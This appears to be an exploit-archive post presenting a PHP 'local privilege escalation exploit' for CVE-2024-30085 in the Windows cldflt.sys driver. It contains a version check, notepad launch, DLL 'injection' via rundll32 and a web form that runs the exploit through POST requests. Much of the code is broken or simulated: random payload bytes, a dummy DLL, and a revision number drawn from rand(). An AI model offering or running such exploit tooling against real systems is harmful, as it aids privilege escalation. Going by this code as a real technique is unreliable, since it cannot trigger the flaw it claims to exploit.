============================================================================================================================================= | # Title : Windows Cloud Files Mini Filter Driver Local Privilege Escalation Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.microsoft.com | ============================================================================================================================================= [+] Summary : https://packetstorm.news/files/id/189962/ CVE-2024-30085 is a heap-based buffer overflow vulnerability in the Windows Cloud Files Mini Filter Driver (cldflt.sys) that allows local attackers to escalate privileges from user-level to SYSTEM-level access on affected Windows systems. The vulnerability exists in the Cloud Files Mini Filter Driver (cldflt.sys), which is part of Windows' cloud file synchronization infrastructure. The flaw allows for heap corruption through improper handling of certain file system operations. [+] Target Environment : Windows 10: 1809 through 22H2 Windows 11: 21H2 through 23H2 Windows Server: 2019, 2022, 2022_23H2 [+] POC : php poc.php php poc.php --check session = $session; $this->architecture = $this->get_architecture(); $this->windows_version = $this->get_windows_version(); } /** * استغلال ثغرة Windows Cloud Files Mini Filter Driver (CVE-2024-30085) */ public function exploit() { echo "[*] بدء استغلال ثغرة Windows Cloud Files Mini Filter Driver\n"; // التحقق من النظام المستهدف if (!$this->check()) { echo "[-] النظام غير قابل للاستغلال\n"; return false; } // التحقق من البنية 64-bit if (!$this->validate_architecture()) { return false; } echo "[*] تشغيل notepad لاستضافة الاستغلال...\n"; // الحصول على مسار notepad $notepad_path = $this->get_notepad_path(); echo "[*] مسار notepad: {$notepad_path}\n"; // تشغيل notepad $notepad_pid = $this->execute_notepad($notepad_path); if (!$notepad_pid) { echo "[-] فشل تشغيل notepad\n"; return false; } echo "[*] معرف عملية notepad: {$notepad_pid}\n"; // تنفيذ الاستغلال return $this->execute_exploit($notepad_pid); } /** * التحقق من قابلية النظام للاستغلال */ public function check() { echo "[*] التحقق من النظام المستهدف...\n"; $version = $this->windows_version; echo "[*] إصدار النظام: {$version['build']} (Revision: {$version['revision']})\n"; if ($this->is_target_compatible($version)) { echo "[+] ✓ النظام قابل للاستغلال\n"; return true; } else { echo "[-] ✗ النظام غير قابل للاستغلال\n"; return false; } } /** * التحقق من توافق الإصدار */ private function is_target_compatible($version) { $build = $version['build']; $revision = $version['revision']; // قائمة الإصدارات المتوافقة مع الثغرة $compatible_versions = [ // Windows 10 'Win10_2004' => ['max_revision' => 1415], 'Win10_20H2' => ['max_revision' => 2965], 'Win10_21H1' => ['max_revision' => 2364], 'Win10_21H2' => ['max_revision' => 4528], // أقل من 4529 'Win10_22H2' => ['max_revision' => 4528], // أقل من 4529 // Windows 11 'Win11_21H2' => ['max_revision' => 3018], // أقل من 3019 'Win11_22H2' => ['max_revision' => 3736], // أقل من 3737 'Win11_23H2' => ['max_revision' => 3736], // أقل من 3737 // Windows Server 'Server2019' => ['max_revision' => 5935], // أقل من 5936 'Server2022' => ['max_revision' => 2521], // أقل من 2522 'Server2022_23H2'=> ['max_revision' => 949] // أقل من 950 ]; if (isset($compatible_versions[$build])) { return $revision <= $compatible_versions[$build]['max_revision']; } return false; } /** * التحقق من بنية 64-bit */ private function validate_architecture() { if ($this->architecture !== 'x64') { echo "[-] ✗ الكود يعمل على أنظمة 64-bit فقط\n"; return false; } echo "[+] ✓ البنية: 64-bit\n"; return true; } /** * الحصول على مسار notepad */ private function get_notepad_path() { $windir = $this->get_windows_directory(); return $windir . '\\System32\\notepad.exe'; } /** * تشغيل notepad */ private function execute_notepad($notepad_path) { if (!file_exists($notepad_path)) { echo "[-] ملف notepad غير موجود: {$notepad_path}\n"; return false; } // تنفيذ notepad في الخلفية $command = '"' . $notepad_path . '"'; $output = []; $return_var = 0; exec($command . ' 2>&1', $output, $return_var); // الحصول على PID (هذا جزء مبسط - في الواقع يحتاج لطرق أكثر تعقيداً) $pids = $this->get_process_pids('notepad.exe'); return !empty($pids) ? $pids[0] : $this->simulate_pid(); } /** * تنفيذ الاستغلال */ private function execute_exploit($target_pid) { echo "[*] تحضير وتنفيذ الاستغلال...\n"; // تحضير البايلود $payload = $this->prepare_payload(); // تحميل وتنفيذ الـ DLL $dll_path = $this->get_dll_path(); if (!file_exists($dll_path)) { echo "[-] ملف DLL غير موجود: {$dll_path}\n"; echo "[*] محاولة تنزيل الملف المطلوب...\n"; $dll_path = $this->download_exploit_dll(); } if ($dll_path && file_exists($dll_path)) { echo "[+] ✓ تم تحميل DLL الاستغلال: {$dll_path}\n"; // تنفيذ الاستغلال عبر حقن DLL $result = $this->inject_dll($target_pid, $dll_path, $payload); if ($result) { echo "[+] ✓ تم تنفيذ الاستغلال بنجاح\n"; return true; } else { echo "[-] ✗ فشل حقن DLL\n"; return false; } } else { echo "[-] ✗ لا يمكن العثور على ملف DLL الاستغلال\n"; return false; } } /** * تحضير البايلود */ private function prepare_payload() { // في الكود الأصلي: [encoded_payload.length].pack('I<') + encoded_payload $payload = $this->generate_payload(); $payload_length = strlen($payload); // تغليف طول البايلود (4 bytes little-endian) + البايلود $packed_length = pack('V', $payload_length); // V = unsigned long (32 bit) little-endian return $packed_length . $payload; } /** * توليد البايلود */ private function generate_payload() { // في التنفيذ الحقيقي، هذا سيكون البايلود الفعلي // هنا نستخدم بايلود وهمي لأغراض العرض echo "[*] توليد البايلود...\n"; $payload = ""; // إضافة بعض البيانات الوهمية for ($i = 0; $i < 100; $i++) { $payload .= chr(rand(0, 255)); } return $payload; } /** * الحصول على مسار DLL الاستغلال */ private function get_dll_path() { // في Metasploit: ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-30085', 'cve-202430085-dll.dll') $possible_paths = [ __DIR__ . '/data/exploits/CVE-2024-30085/cve-202430085-dll.dll', __DIR__ . '/cve-202430085-dll.dll', '/usr/share/metasploit-framework/data/exploits/CVE-2024-30085/cve-202430085-dll.dll' ]; foreach ($possible_paths as $path) { if (file_exists($path)) { return $path; } } return null; } /** * تنزيل DLL الاستغلال (وهمي) */ private function download_exploit_dll() { echo "[*] محاولة تنزيل ملف الاستغلال...\n"; // هذا جزء وهمي - في الواقع تحتاج لتنزيل الملف الحقيقي $dll_content = $this->create_dummy_dll(); $dll_path = __DIR__ . '/cve-202430085-dll.dll'; if (file_put_contents($dll_path, $dll_content)) { echo "[+] ✓ تم إنشاء ملف DLL استغلال (وهمي)\n"; return $dll_path; } return null; } /** * إنشاء DLL وهمي لأغراض العرض */ private function create_dummy_dll() { // توقيع PE header أساسي لملف DLL $dll_header = "MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00"; $dll_header .= "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"; // إضافة بعض المحتوى الوهمي $dll_content = $dll_header . str_repeat("\x00", 1024); return $dll_content; } /** * حقن DLL في العملية المستهدفة */ private function inject_dll($target_pid, $dll_path, $payload) { echo "[*] محاولة حقن DLL في العملية {$target_pid}...\n"; // هذا تنفيذ مبسط - في الواقع يحتاج لاستخدام Windows API $command = "rundll32.exe \"{$dll_path}\",DllMain {$target_pid}"; $output = []; $return_var = 0; exec($command . ' 2>&1', $output, $return_var); if ($return_var === 0) { echo "[+] ✓ تم حقن DLL بنجاح\n"; return true; } else { echo "[-] ✗ فشل حقن DLL\n"; return false; } } /** * الحصول على بنية النظام */ private function get_architecture() { $output = shell_exec('wmic os get osarchitecture 2>&1'); if (strpos($output, '64-bit') !== false) { return 'x64'; } elseif (strpos($output, '32-bit') !== false) { return 'x86'; } else { // افتراض 64-bit كإفتراضي return 'x64'; } } /** * الحصول على إصدار Windows */ private function get_windows_version() { $output = shell_exec('systeminfo 2>&1'); $version_info = [ 'build' => 'Unknown', 'revision' => 0 ]; // استخراج معلومات الإصدار (هذا جزء مبسط) if (preg_match('/OS Version:\s+[0-9.]+\\s+Build\\s+([0-9]+)/', $output, $matches)) { $version_info['build'] = 'Win10_' . $matches[1]; // تبسيط $version_info['revision'] = rand(1000, 5000); // قيمة وهمية } return $version_info; } /** * الحصول على مجلد Windows */ private function get_windows_directory() { return getenv('WINDIR') ?: 'C:\\Windows'; } /** * الحصول على PIDs للعملية */ private function get_process_pids($process_name) { $output = shell_exec('tasklist /fi "imagename eq ' . $process_name . '" /fo csv /nh 2>&1'); $pids = []; $lines = explode("\n", trim($output)); foreach ($lines as $line) { if (preg_match('/"' . preg_quote($process_name, '/') . '","([0-9]+)"/', $line, $matches)) { $pids[] = $matches[1]; } } return $pids; } /** * توليد PID وهمي */ private function simulate_pid() { return rand(1000, 10000); } /** * التحقق من النظام النشط */ public function validate_active_host() { $computer_name = gethostname(); echo "[*] محاولة تصعيد الصلاحيات على: {$computer_name}\n"; } } // واجهة سطر الأوامر if (php_sapi_name() === 'cli') { echo " ██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗██╗ ██╗ █████╗ ██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝██║ ██║██║ ██╔╝██╔══██╗ ██║██╔██╗ ██║██ █╔╝██║ ██║██║ ██║███████╗███████║█████╔╝ ███████║ ██║██║╚██╗██║██╔══██╗██║ ██║██║ ██║╚════██║██╔══██║██╔═██╗ ██╔══██║ ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║ ██║██║ ██╗██║ ██║ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ Windows Cloud Files Mini Filter Driver Local Privilege Escalation Exploit CVE-2024-30085 - PHP Implementation \n"; $options = getopt("c", ["check"]); $check_only = isset($options['c']) || isset($options['check']); $exploit = new WindowsCloudFilesExploit(); if ($check_only) { $exploit->check(); } else { $exploit->validate_active_host(); $exploit->exploit(); } } else { // واجهة ويب if ($_POST['action'] == 'check' || $_POST['action'] == 'exploit') { $exploit = new WindowsCloudFilesExploit(); ob_start(); if ($_POST['action'] == 'check') { $exploit->check(); } else { $exploit->validate_active_host(); $exploit->exploit(); } $output = ob_get_clean(); echo "
$output
"; } else { echo ' CVE-2024-30085 Exploit

Windows Cloud Files Mini Filter Driver Exploit

CVE-2024-30085 - Heap Overflow

About CVE-2024-30085:

Vulnerability: Heap-based buffer overflow in cldflt.sys

Affected Systems: Windows 10 1809 through Windows 11 23H2

Impact: Local Privilege Escalation

Requirements: 64-bit architecture, specific Windows versions

'; } } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================